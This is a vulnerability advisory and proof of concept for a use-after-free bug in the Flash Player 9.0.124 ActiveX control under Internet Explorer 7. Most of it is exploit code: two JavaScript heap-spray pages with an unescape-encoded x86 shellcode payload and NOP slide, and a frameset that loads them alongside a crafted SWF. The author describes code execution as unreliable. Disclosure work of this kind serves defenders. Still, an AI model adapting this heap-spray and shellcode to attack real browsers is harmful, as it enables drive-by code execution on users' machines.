Flash9f.ocx,  Flash Player Plugin 9.00.0124.0000 Bad Pointer Vuln. Exploitable.

 

Javier Vicente Vallejo (j.v.vallejo [_at_]gmail.com, http://www.vallejo.cc)

 

Abstract

 

Last version of Flash Player ActiveX seems to be vulnerable, due to a race condition situation. Successful exploitation via Web Browser requires that the attacker should trick the user into visiting a specially crafted webpage.

 

Affected Versions

 

Tested with Adobe Flash Player 9.0.124.0 and Internet Explorer 7.0.5730.13.

 

Analysis

 

Flash Player manages lot of linked lists of internal objects. Under some conditions, it occurs that a object is extracted and freed from a linked list, but that object is being used yet.

 

From my analysis i deduced the bug is related to the flash player display list.

“In SWF 1 and 2, the display list was a flat list of the objects that are present on the screen at any given point in time. For SWF 3, this list has been extended to a hierarchical list where an element on the display can have a list of child elements.

Objects on the display list are referred to by a depth number. The object at depth 0 is the bottom of the stacking order. Only one object can exist at any given depth.

There are three basic operations on the display list:

It seems a object was removed from the display list while a pointer to the descriptor is being used yet.

 

This fact causes several crashes at different points, and, under some conditions and the appropiate memory state, it could be exploited to execute code. It could be exploited when the code calls a function in the vtable of the freed object. It occurs at different code addresses. For example it occured more times at this address for me:

 

30059AA9   8B01             MOV EAX,DWORD PTR DS:[ECX]

30059AAB   6A 01            PUSH 1

30059AAD   FF10             CALL DWORD PTR DS:[EAX]

The memory of the freed object was reused and it contains unknown data (they are different across executions).

 

I wasnt able to control perfectly this memory and the jump. I used some methods to modify the memory state before flash player was loaded (with heap spraying and loading photos), and while the flash player is being executed (with heap spraying from other frame).

 

Sometimes (ramdonly, i was not able to control it), the content of the freed memory (the old object that it is being used yet) let us to see our shellcode executed. When the vtable function value (now with new memory contents) is a value pointing to one of our heap spraying blocks and a call to this function is executed, our shellcode is executed.

 

The shellcode was executed sometimes, but i have not controlled it to get the exploit working 100% of executions.

 

Proof of Concept

 

Here is the html / javascript code that i used to reproduce the crash. It uses heap spraying method to change the memory state. Some photos could be put too, with the same purpose.

 

Heapspray1.htm:

 

<HTML>

<BODY>

               

<SCRIPT>

 

 

    function getSpraySlide(spraySlide, spraySlideSize)

                               {

                                               while (spraySlide.length*2<spraySlideSize)

                                               {

                                                               spraySlide += spraySlide;

                                               }

                                               spraySlide = spraySlide.substring(0,spraySlideSize/2);

                                               return (spraySlide);

                               }

                              

                               function sprayfunc(memory,memoryi,heapBlockSize,heapSprayToAddress,nblocks)

                               {

                                               var payLoadCode=unescape(

                                               "%ue860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +

                                               "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +

                                               "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +

                                               "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +

                                               "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +

                                               "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +

                                               "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +

                                               "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +

                                               "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +

                                               "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +

                                               "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +

                                               "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +

                                               "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +

                                               "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +

                                               "%u652E%u6578%u9000%uaa22%uaa33%uaa44%uaa55");

                                 var spraySlide = unescape("%u9090%u9090");

                                

                    var SizeOfHeapDataMoreover = 0x26;

                                var payLoadSize = (payLoadCode.length * 2);

               

                                var spraySlideSize = heapBlockSize - (payLoadSize + SizeOfHeapDataMoreover);

                                var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize;

                                              

                    spraySlide = getSpraySlide(spraySlide,spraySlideSize);

               

                               for (i=0;i<nblocks;i++,memoryi++)

                                {

                                memory[memoryi] = spraySlide +  payLoadCode;

                    }

                   

                    return memoryi;

                               }

 

                               var initmem = new Array();

                              

                               sprayfunc(initmem,0,0x80000,0x00000000,300);

 

 

</SCRIPT>

 

 

<input language=JavaScript type=button value="nothing">

 

<object width="550" height="400">

<param name="movie" value="a.swf">

<embed src="a.swf" width="550" height="400"></embed>

</object>

 

<img src="a.jpg">

 

 

</BODY>

</HTML>

 

 

Heapspray2.htm:

 

<HTML>

<BODY>

               

<SCRIPT>

 

 

    function getSpraySlide(spraySlide, spraySlideSize)

                               {

                                               while (spraySlide.length*2<spraySlideSize)

                                               {

                                                               spraySlide += spraySlide;

                                               }

                                               spraySlide = spraySlide.substring(0,spraySlideSize/2);

                                               return (spraySlide);

                               }

                              

                               function sprayfunc(heapBlockSize,heapSprayToAddress,nblocks)

                               {

                                               var memory = new Array();

                                               var memoryi=0;

                                               var payLoadCode=unescape(

                                               "%ue860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +

                                               "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +

                                               "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +

                                               "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +

                                               "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +

                                               "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +

                                               "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +

                                               "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +

                                               "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +

                                               "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +

                                               "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +

                                               "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +

                                               "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +

                                               "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +

                                               "%u652E%u6578%u9000%uaa22%uaa33%uaa44%uaa55");

                                 var spraySlide = unescape("%u9090%u9090");

                                

                    var SizeOfHeapDataMoreover = 0x26;

                                var payLoadSize = (payLoadCode.length * 2);

               

                                var spraySlideSize = heapBlockSize - (payLoadSize + SizeOfHeapDataMoreover);

                                var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize;

                                              

                    spraySlide = getSpraySlide(spraySlide,spraySlideSize);

               

                               for (i=0;i<nblocks;i++,memoryi++)

                                {

                                memory[memoryi] = spraySlide +  payLoadCode;

                    }

                   

                    return memory;

                               }

                              

                               function mainfunc()

                               {

                                               var gmemory1=sprayfunc(0x80000,0x00000000,500);

                                               //gi2=sprayfunc(gmemory2,gi2,0x8000,0x00000000,10);

                                               //gi3=sprayfunc(gmemory3,gi3,0x800,0x00000000,2000);

                                               //gi4=sprayfunc(gmemory4,gi4,0x1000,0x00000000,1000);

                                              

                                               alert("hahaha");

                                              

                                               var gmemory2=sprayfunc(0x80000,0x00000000,500);

                                               //gi2=sprayfunc(gmemory2,gi2,0x8000,0x00000000,10);

                                               //gi3=sprayfunc(gmemory3,gi3,0x800,0x00000000,2000);

                                               //gi4=sprayfunc(gmemory4,gi4,0x1000,0x00000000,1000);

                                              

                                               alert("hahaha");

 

                                               var gmemory3=sprayfunc(0x80000,0x00000000,500);

                                               //gi2=sprayfunc(gmemory2,gi2,0x8000,0x00000000,10);

                                               //gi3=sprayfunc(gmemory3,gi3,0x800,0x00000000,2000);

                                               //gi4=sprayfunc(gmemory4,gi4,0x1000,0x00000000,1000);

                                              

                                               alert("hahaha");

                               }

 

                               setTimeout(mainfunc,10);     

 

</SCRIPT>

 

</BODY>

</HTML>

 

Heapspray.htm:

 

<html>

<head>

</head>

<frameset rows="400,400">

  <frame src="heapspray1.htm">

  <frame src="heapspray2.htm">

</frameset>

<noframes>

<body>

</body>

</noframes>

</html>